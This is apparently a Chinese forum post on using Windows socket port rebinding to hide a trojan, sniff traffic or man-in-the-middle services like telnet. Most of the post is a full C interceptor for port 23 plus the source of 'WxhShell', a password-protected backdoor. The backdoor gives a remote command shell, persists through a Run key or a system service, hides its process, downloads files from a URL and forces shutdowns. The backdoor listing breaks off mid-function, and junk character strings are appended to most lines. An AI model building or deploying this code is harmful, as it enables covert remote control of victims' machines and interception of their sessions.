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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ZRUAw,T*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8g/r8u~  
YGi_7fTyc=  
  saddr.sin_family = AF_INET; F|&mxsL  
SNV;s,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mN#&NA  
K4^B~0~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?hW(5]p|  
'=IuwCB|;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 G+iJS!=  
B,Jn.YX  
  这意味着什么?意味着可以进行如下的攻击: iz-O~T/^  
)Y?E$=M +B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;8gODj:dO  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7.C]ZcU  
^Cg@'R9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N mN:x&/  
6uFGq)4p@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ND5E`Va5R  
JM*rPzp  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *JaFt@ x  
C,u;l~zz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .|K\1qGW0  
 uMBb=   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *1}vn%wvn  
^N~Jm&I  
  #include :wJ!rn,4  
  #include SHC VjI6  
  #include T f^O(  
  #include    16I(S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B^1Io9  
  int main() gwYTOs ^  
  { r3.v^  
  WORD wVersionRequested; qxD<mZ@-R0  
  DWORD ret; wSs78c=  
  WSADATA wsaData; c{f1_qXN  
  BOOL val; &l~=c2  
  SOCKADDR_IN saddr; 7M9s}b%?  
  SOCKADDR_IN scaddr; 3*b!]^d:D  
  int err; &S# bLE  
  SOCKET s; ~ K|o@LK  
  SOCKET sc; }Z\+Qc<<  
  int caddsize; UmQ'=@^kR  
  HANDLE mt; ZP%Bu2xd  
  DWORD tid;   WTh|7&  
  wVersionRequested = MAKEWORD( 2, 2 ); ?/s=E+  
  err = WSAStartup( wVersionRequested, &wsaData ); L G9#D  
  if ( err != 0 ) { PiIILX{DuH  
  printf("error!WSAStartup failed!\n"); 0M>%1 *  
  return -1; 4U:+iumy2  
  } >l5JwwG  
  saddr.sin_family = AF_INET; :Ee5:S   
   fKT(.VN q5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 GgjBLe=C  
@i:_ JOl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); VAR/"  
  saddr.sin_port = htons(23); on1mu't_;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K#p&XIY,  
  { |&%l @X 6  
  printf("error!socket failed!\n"); "i*Gi \U  
  return -1; ~LzTqMHM  
  } >:P3j<xTv  
  val = TRUE; RwwX;I"o%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^A$~8?f  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^SRa!8z$W  
  { ihhnB  
  printf("error!setsockopt failed!\n"); E0S[TEDa]  
  return -1; oAp I/o  
  } l@YpgyqaL  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; & ~[%N O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Wkv **X}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Afa{f}st  
g@"6QAP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) O^gq\X4}  
  { )O%lh 8fI  
  ret=GetLastError(); 9uREbip  
  printf("error!bind failed!\n"); -nT+!3A8  
  return -1; 3/@'tLtN  
  } )u&_}6z  
  listen(s,2); I@q>ES!1H  
  while(1)  g^E n6n)  
  { 7+u%]D!  
  caddsize = sizeof(scaddr); OiY2l;68  
  //接受连接请求 j|(bDa4\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ArU>./)Q  
  if(sc!=INVALID_SOCKET) \9k{"4jX\  
  { Xl*-A|:j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ig/716r|  
  if(mt==NULL) LGCL*Qbsg  
  { Sb[rSczS~  
  printf("Thread Creat Failed!\n"); <FK7Rz:4T  
  break; 0+:.9*g=k  
  } @]#+`pZ4A  
  } x{*!"a>  
  CloseHandle(mt); S8vmXlD  
  } ?\F,}e  
  closesocket(s); {nOK*7+ "  
  WSACleanup(); @+X}O /74  
  return 0; r5iO%JFg  
  }   I}v'n{5(  
  DWORD WINAPI ClientThread(LPVOID lpParam) )3B5"b,  
  { n7q-)Dv_U  
  SOCKET ss = (SOCKET)lpParam; ?3z+|;t6C  
  SOCKET sc; IL:"]`f*  
  unsigned char buf[4096]; A1ebXXD )  
  SOCKADDR_IN saddr; pr0V)C6  
  long num; t1Khf  
  DWORD val; #CQ>d8&  
  DWORD ret; Yhw* `"X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 khv!\^&DD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   = xX^  
  saddr.sin_family = AF_INET; BK d(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )Y&De)=  
  saddr.sin_port = htons(23); EJtU(HmW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OEwfNZQ-  
  { BtHvfoT  
  printf("error!socket failed!\n"); JN KZ'9  
  return -1; .DvAX(2v  
  } LMG\jc?,  
  val = 100; x(7K3(#|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b);}x1L.T  
  { nG%j4r ;  
  ret = GetLastError(); 8rpN2M 3h  
  return -1; l*m|b""].u  
  } P/PS(`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (&nl}_`7?,  
  { z:G9Uu3H(  
  ret = GetLastError(); 0\~Zg  
  return -1; =W|Q0|U  
  } : }IS=A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .CpF0  
  { 7:j #1N[p  
  printf("error!socket connect failed!\n"); 6Rf5  
  closesocket(sc); oV!9B-<  
  closesocket(ss); 5~"=Fm<uD  
  return -1;  zm.2L  
  } sk3 ;;<H  
  while(1) 0?h .X= G  
  { (_08?cN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jw[`_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O46/[{p+8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Elq8WtS  
  num = recv(ss,buf,4096,0); ,`7GI*Vq  
  if(num>0) Cp* n2  
  send(sc,buf,num,0); 8Z!ea3kAT  
  else if(num==0) H= y-Y_R  
  break; Le'\x`B  
  num = recv(sc,buf,4096,0); j&mL]'Zy  
  if(num>0) ,RHHNTB("  
  send(ss,buf,num,0); A{o{o++  
  else if(num==0) v: 0i5h&M  
  break; Ji[w; [qL  
  } g:clSN,  
  closesocket(ss); *Sf^()5C,  
  closesocket(sc); V V4_  
  return 0 ; >lW*%{|b$^  
  } C/Z"W@7#;  
TatyD**(  
yEny2q}  
========================================================== -&A[{m<,>  
G9[-|[j^N  
下边附上一个代码,,WXhSHELL Jr9}'l8  
.0|J+D  
========================================================== yW&i Uh=0  
j&pgq2Kl  
#include "stdafx.h" .2P?1HpK  
6J*`<k/ S  
#include <stdio.h> Ttj5% ~  
#include <string.h> 'x0t, ;g  
#include <windows.h> !!86Sv  
#include <winsock2.h> gZUy0`E  
#include <winsvc.h> ;hvXFU  
#include <urlmon.h> hF1/=;>  
O?WaMfS[1  
#pragma comment (lib, "Ws2_32.lib") B<RONQj_  
#pragma comment (lib, "urlmon.lib") :qp"Ao{M  
Uk2q,2  
#define MAX_USER   100 // 最大客户端连接数 %E\%nTV  
#define BUF_SOCK   200 // sock buffer kt#W~n  
#define KEY_BUFF   255 // 输入 buffer z&0V21"l  
f.$o|R=v  
#define REBOOT     0   // 重启 z)~!G~J]  
#define SHUTDOWN   1   // 关机 +;Gl>$  
~e+w@ lK  
#define DEF_PORT   5000 // 监听端口 f)x}_dw%  
zOOX>3^  
#define REG_LEN     16   // 注册表键长度 iFA"m;$  
#define SVC_LEN     80   // NT服务名长度 ,lJ6"J\8.  
S8RB0^Q7  
// 从dll定义API Q ?t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dmy-}.pqN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k I~]u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;" *`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Mg$9'a"[\  
>i%w'uU  
// wxhshell配置信息 t>2^!vl  
struct WSCFG { +CT$/k  
  int ws_port;         // 监听端口 eNFUjDm  
  char ws_passstr[REG_LEN]; // 口令 ODEXQl}R  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1znV>PO!  
  char ws_regname[REG_LEN]; // 注册表键名 2>k)=hl:  
  char ws_svcname[REG_LEN]; // 服务名 R6XMBYK^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y^\#bpq&\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @RIEO%S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c1J)yv1y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0AKwZ' &H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E3skC%}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |mmG s  
He!!oKK>  
}; A*~1Uz\t  
lKUm_; m  
// default Wxhshell configuration %},G(>  
struct WSCFG wscfg={DEF_PORT, ]P$DAi   
    "xuhuanlingzhe", Zbh]O CN  
    1, ] <3?=$  
    "Wxhshell", 1qe^rz|  
    "Wxhshell", !nq\x8nU  
            "WxhShell Service", 0Zh _Q  
    "Wrsky Windows CmdShell Service", 8M9\<k6  
    "Please Input Your Password: ", ^&H=dYcV>/  
  1, k)V%.Eobf  
  "http://www.wrsky.com/wxhshell.exe", U]0)$OH5e  
  "Wxhshell.exe" \]A;EwC4C  
    }; _vV&4>  
AsLjU#jn  
// 消息定义模块 M%s$F@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~vV )|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [?@wCY4=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Xb-c`k~_  
char *msg_ws_ext="\n\rExit.";  ,nR8l  
char *msg_ws_end="\n\rQuit."; D(6x'</>?  
char *msg_ws_boot="\n\rReboot..."; }~r6>7I  
char *msg_ws_poff="\n\rShutdown..."; YB~t|m65  
char *msg_ws_down="\n\rSave to "; j(C UYm  
~<- ci  
char *msg_ws_err="\n\rErr!"; V?59 .TJ  
char *msg_ws_ok="\n\rOK!"; uyt-q|83=  
7&1~O#  
char ExeFile[MAX_PATH]; m2CWQ[u  
int nUser = 0; chmJ|  
HANDLE handles[MAX_USER]; oz6+rM6MY  
int OsIsNt; i:M*L< +  
.00=U;H%`  
SERVICE_STATUS       serviceStatus; NJf(,Mr*|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]}7rWs[|1  
pEj^x[b`^  
// 函数声明 7b,,%rUd  
int Install(void); 6//FZ:q  
int Uninstall(void); 7E3SvC|M  
int DownloadFile(char *sURL, SOCKET wsh); qf`xH"$  
int Boot(int flag); p <=%  
void HideProc(void); !NLvo_[Y  
int GetOsVer(void); DsJn#>?Kh  
int Wxhshell(SOCKET wsl); yCCw<?  
void TalkWithClient(void *cs); TUUE(sLA  
int CmdShell(SOCKET sock); .q`H`(QM  
int StartFromService(void); r`R~{;oT  
int StartWxhshell(LPSTR lpCmdLine); 2HGD{;6>v{  
G7A bhb,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N@*wi"Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V<2fPDZ  
w;@25= |  
// 数据结构和表定义 /rxltF3  
SERVICE_TABLE_ENTRY DispatchTable[] = JkDPuTXD  
{ #;LMtDaL  
{wscfg.ws_svcname, NTServiceMain}, xGEmrE<;  
{NULL, NULL} ^ ]qV8  
}; OZ'.}((?n  
3zTE4pHzu+  
// 自我安装 XyM(@6,'  
int Install(void) d&T6p&V$  
{ 4:Xj-l^D  
  char svExeFile[MAX_PATH]; " Z2Tc)  
  HKEY key; vdT+,x`  
  strcpy(svExeFile,ExeFile); rW~?0  
sh(kRrdY3  
// 如果是win9x系统,修改注册表设为自启动 *rn]/w8ZW  
if(!OsIsNt) { . z$Sm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3P#+) F~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5`"*y iv  
  RegCloseKey(key); M_!u@\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xw+<p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Km9}^*Mo%  
  RegCloseKey(key); |3, yq^2  
  return 0; K@jSr*\'  
    } w,![;wG  
  } ?D(FNd  
} K 5qLBz@U  
else { <F)w=_%&  
5B>Q 6  
// 如果是NT以上系统,安装为系统服务 #K#Mv /  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &#-|Yh/  
if (schSCManager!=0) +t>*l>[  
{ $35,\ZO>  
  SC_HANDLE schService = CreateService VXkAFgO  
  ( w`j*W$82  
  schSCManager, eMN+qkvH  
  wscfg.ws_svcname, Wg` +u  
  wscfg.ws_svcdisp, (3ZvXpzvF  
  SERVICE_ALL_ACCESS, =s0g2Zv"\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cK|rrwa0  
  SERVICE_AUTO_START, DhWWN>I  
  SERVICE_ERROR_NORMAL, D(qHf9  
  svExeFile, P(pd0,%i;a  
  NULL, }2Cd1RnS  
  NULL, CO:*x,6au  
  NULL, q8?= *1g  
  NULL, ,TF<y#wed  
  NULL #u8*CA9  
  ); 7sud/*+F  
  if (schService!=0) Sf'i{xye  
  { 9 V=<| 2  
  CloseServiceHandle(schService); 8> Du  
  CloseServiceHandle(schSCManager); d<^_w!4X}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }%!FMXe  
  strcat(svExeFile,wscfg.ws_svcname); Lf^5Eo/ 5A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (Bt;DM#>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J[}gku?C;  
  RegCloseKey(key); &;ZC<?wS  
  return 0; ~VqFZasV  
    } gH{:`E k7  
  }  n5bXQ  
  CloseServiceHandle(schSCManager); Y_[g_  
} 068WlF cWV  
} oUQGLl!V  
;'=VrE6  
return 1; X2 \E9hJg  
} [i(Cl}  
DC|xilP1O  
// 自我卸载 s?^,iQ+tp  
int Uninstall(void) S}.\v<  
{ =$b-xsmeG  
  HKEY key; 09  
@A [)hk&(R  
if(!OsIsNt) { M5']sdR(l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w~<FG4@LU  
  RegDeleteValue(key,wscfg.ws_regname); -l-AToO4  
  RegCloseKey(key); =<[7J]%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZR/R'prW  
  RegDeleteValue(key,wscfg.ws_regname); ATMc`z:5T  
  RegCloseKey(key); jOBY&W0r  
  return 0; v]WH8GI  
  } 9U2Px$E  
} ElQJ\%  
} @+?+6sS  
else { ?_VRfeztw  
*he7BUO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e> ar  
if (schSCManager!=0) ,'FD}yw4v  
{ $Q8P@L)[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k(zs>kiP  
  if (schService!=0) M0O>Ljo4RN  
  { R(:  4s  
  if(DeleteService(schService)!=0) { =QrA0kQR  
  CloseServiceHandle(schService); *I:mw8t  
  CloseServiceHandle(schSCManager); iY0,WT}&n  
  return 0; J#6LSD@ (O  
  } n&_YYEHx  
  CloseServiceHandle(schService); @<vF]\Ce  
  } _/|8%])  
  CloseServiceHandle(schSCManager); i[^k.W3gf  
} 1KW3l<v-6  
} HR[Q ?rg  
'Z\{D*=V8  
return 1; X!T|07#c  
} TkA9tFi  
ob0~VEH-  
// 从指定url下载文件 7 ,$axvLw  
int DownloadFile(char *sURL, SOCKET wsh) R `;o!B}[  
{ H \r`7  
  HRESULT hr; k?^%hO>[  
char seps[]= "/"; ,q8(]n 4  
char *token; (-bRj#  
char *file; nc<qbN  
char myURL[MAX_PATH]; "YuZ fL`bb  
char myFILE[MAX_PATH]; 9n_ eCb)H  
XK1fHfCEa  
strcpy(myURL,sURL); Tv`_n2J`2  
  token=strtok(myURL,seps); /r-8T>m  
  while(token!=NULL) +jcdf}  
  { 4w@v#H@  
    file=token; N%O[  
  token=strtok(NULL,seps); a|UqeNI{  
  } :OHSxb>[  
 q4_**  
GetCurrentDirectory(MAX_PATH,myFILE); gk"mr_03  
strcat(myFILE, "\\"); 0HjJaML  
strcat(myFILE, file); ab{;Z 5O  
  send(wsh,myFILE,strlen(myFILE),0); #xlZU  
send(wsh,"...",3,0); 5QR}IxQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GXO4x|08F  
  if(hr==S_OK) aJI>FTdK  
return 0; l x7Kw%  
else h:f;mn?x  
return 1; FnY$)o;   
1x { XE*%;  
} M z9 3  
_O$tuC%  
// 系统电源模块 -zprNQW  
int Boot(int flag) R3$@N  
{ .Nc_n5D6  
  HANDLE hToken; Pow|:Lau!  
  TOKEN_PRIVILEGES tkp; ,`<]>;s  
n-d:O\]  
  if(OsIsNt) { NNgK:YibD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }bp.OV-+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3a%xn4P  
    tkp.PrivilegeCount = 1; 6?O}Q7G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L4~ W/6A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $ cq!RgRn  
if(flag==REBOOT) { GN0duV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N.jA 8X  
  return 0; rrAqI$6  
} +B#qu/By  
else { gNTh% e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2@fa rx:  
  return 0; +1x)z~q=  
} zFOL(s.h|0  
  } !Pw$48cg  
  else { q=njKC  
if(flag==REBOOT) { ;:U<ce=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O'OFz}x),  
  return 0; A9t8`|1"%H  
} M</Wd{.g"  
else { p/N62G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o,J^ e_  
  return 0; {(%~i37  
} !\ZcOk2  
} Y5n>r@ )m  
c88_}%h?(  
return 1; 8|6~o.B.G  
} r( M[8@Nz  
rfX=*mjt  
// win9x进程隐藏模块 e^=NL>V6p  
void HideProc(void) g*F~8+]Y  
{ Y!M~#oqio  
Mo_$b8i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q4+Yv2e <r  
  if ( hKernel != NULL ) u7[pLtOwN  
  { l**3%cTb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P0)AU i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z#RuwB+  
    FreeLibrary(hKernel); 2qlIy  
  } { a. <`  
{gw [%[ZM  
return; pD[pTMG@$  
} QhsVIta  
} YRO'Q{  
// 获取操作系统版本 rfc|`*m}0  
int GetOsVer(void) K>$qun?5  
{ lQWBCJ8y  
  OSVERSIONINFO winfo; u (AA`S"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^iuo^2+  
  GetVersionEx(&winfo); D&-vq,c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i+I0k~wY  
  return 1; /~tP7<7A  
  else t|_{;!^  
  return 0; FD))'!>  
}  jC4O`  
o<nS_x  
// 客户端句柄模块 j$mz3Yk  
int Wxhshell(SOCKET wsl) 0X#+#[W  
{ 6`Lcs  
  SOCKET wsh; bLco:-G1E1  
  struct sockaddr_in client; G%$}WA]|  
  DWORD myID; Td&d,;  
p jd o|  
  while(nUser<MAX_USER) oBC]UL;8xJ  
{ s*.3ZS5  
  int nSize=sizeof(client); aDh|48}X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i&*<lff  
  if(wsh==INVALID_SOCKET) return 1; 50 *@.!^*  
2 eHx"Ha  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D?mDG|Z  
if(handles[nUser]==0) DLXL!-)z  
  closesocket(wsh); S}b~_}  
else ~5T$8^K  
  nUser++; ']h IfOD"r  
  } sjn:O'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5aG5BA[N  
u-:MVEm  
  return 0; LZa% x  
} xj7vI&u.  
n$xszuNJ`  
// 关闭 socket MO TE/JG  
void CloseIt(SOCKET wsh) <%&_#<C)  
{ hX3@f;[B2  
closesocket(wsh); Q vJZkGX  
nUser--; =|"= l1  
ExitThread(0); w&5/Zh[~~L  
} ntZ~m  
]w-.|vx  
// 客户端请求句柄 F 3s?&T)[G  
void TalkWithClient(void *cs) Mt=R*M}D0  
{ {[tZ.1.w  
#Z0-8<\  
  SOCKET wsh=(SOCKET)cs; -"tY{}z  
  char pwd[SVC_LEN]; kT2Wm/L  
  char cmd[KEY_BUFF]; {Xv3:"E"O  
char chr[1]; ]=Pu\eE  
int i,j; ]'g:B p  
Fpf><Rn  
  while (nUser < MAX_USER) { 7"a4/e;^  
#Wk5E2t  
if(wscfg.ws_passstr) { *6P'q4 )  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e=L*&X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \XDmK   
  //ZeroMemory(pwd,KEY_BUFF); [8z&-'J=  
      i=0; cJ/4G l  
  while(i<SVC_LEN) { Yt*vqm[WV  
4DM*^=9E  
  // 设置超时 d- kZt@DL=  
  fd_set FdRead; OpUA{P  
  struct timeval TimeOut; lQ$+JX;n(y  
  FD_ZERO(&FdRead); 6]ZO'Nwo  
  FD_SET(wsh,&FdRead); |6*Va%LYO-  
  TimeOut.tv_sec=8; {=iyK/Uf  
  TimeOut.tv_usec=0; 9(OAKUQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ju.OW`GM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vpV$$=Qwp  
Qsji0ikG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 61>f(?s  
  pwd=chr[0]; N iISJWk6'  
  if(chr[0]==0xd || chr[0]==0xa) { '$6PTa  
  pwd=0; S(tEw Xy  
  break; R"{l[9j4>  
  } `M0YAiG  
  i++; ( OXY^iq  
    }  p[Hr39o  
~ k<SbFp  
  // 如果是非法用户,关闭 socket 6klD22b2$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HzEGq,.  
} ^/<|f,2  
)# PtV~64  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); snq;:n!   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j%WY ,2P  
Ro~fvL~Ps  
while(1) { e96#2A5f  
[zx|eG<&-  
  ZeroMemory(cmd,KEY_BUFF); GMe0;StT  
ll2Vk*xs  
      // 自动支持客户端 telnet标准   ZRP y~wy>  
  j=0; j.B>v\b_3  
  while(j<KEY_BUFF) { H:{?3gk.P3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0R4akLW0  
  cmd[j]=chr[0]; &~ y{'zoL  
  if(chr[0]==0xa || chr[0]==0xd) { *v&*% B  
  cmd[j]=0; }H2#H7!H  
  break; 8JP6M!F#  
  } FJF3B)Va|  
  j++; ~QCA -Yud  
    } RJwb@r<v  
8$m1eQ`{  
  // 下载文件 BjvdnbJg  
  if(strstr(cmd,"http://")) { rei5{PC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `V@z&n0P6  
  if(DownloadFile(cmd,wsh)) _Fxe|"<^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O:,=xIXR  
  else C]Q>*=r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +N8aq<l  
  } _aY.  
  else { OGGSS&5t w  
J?,?fqb  
    switch(cmd[0]) { 2+Zti8  
  ]LVnt-q  
  // 帮助 Z)5klg$c  
  case '?': { ki3 HcV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LyV#j>gD  
    break; *F|+2?a:$  
  } RAwk7F3qn  
  // 安装 nzWQQra|?  
  case 'i': { NnP.k7m)  
    if(Install()) \imp7}N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); phmVkV2a;#  
    else P#v^"}.Wd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "f<#.}8  
    break; .aJ%am/:%  
    } 7j T#BWt  
  // 卸载 E[ 0Sst x  
  case 'r': { _jo$)x+'x  
    if(Uninstall()) %z2oDAjX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RQ|?Ce",  
    else nNu[c[V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pj._/$R[/  
    break; A6Q c;v+  
    } JSRg?p\  
  // 显示 wxhshell 所在路径 v4D!7 t&v"  
  case 'p': { s.KOBNCFa  
    char svExeFile[MAX_PATH]; /k) NP  
    strcpy(svExeFile,"\n\r"); d=F)y~&'  
      strcat(svExeFile,ExeFile); I:HV6_/^-G  
        send(wsh,svExeFile,strlen(svExeFile),0); $YPQC  
    break; #r(a~  
    } c8q G\\t[  
  // 重启 F'XlJ M  
  case 'b': {  tI'e ctn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \QiqcD9Y  
    if(Boot(REBOOT)) w~]} acP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F=: c5z  
    else { $82zyq  
    closesocket(wsh); >j- b5g"g  
    ExitThread(0); ],AbcTX  
    } 'z~KTDX  
    break; dX 0x Kk%#  
    } 0S_Ra+e  
  // 关机 K)Ge  
  case 'd': { GajI\_o  
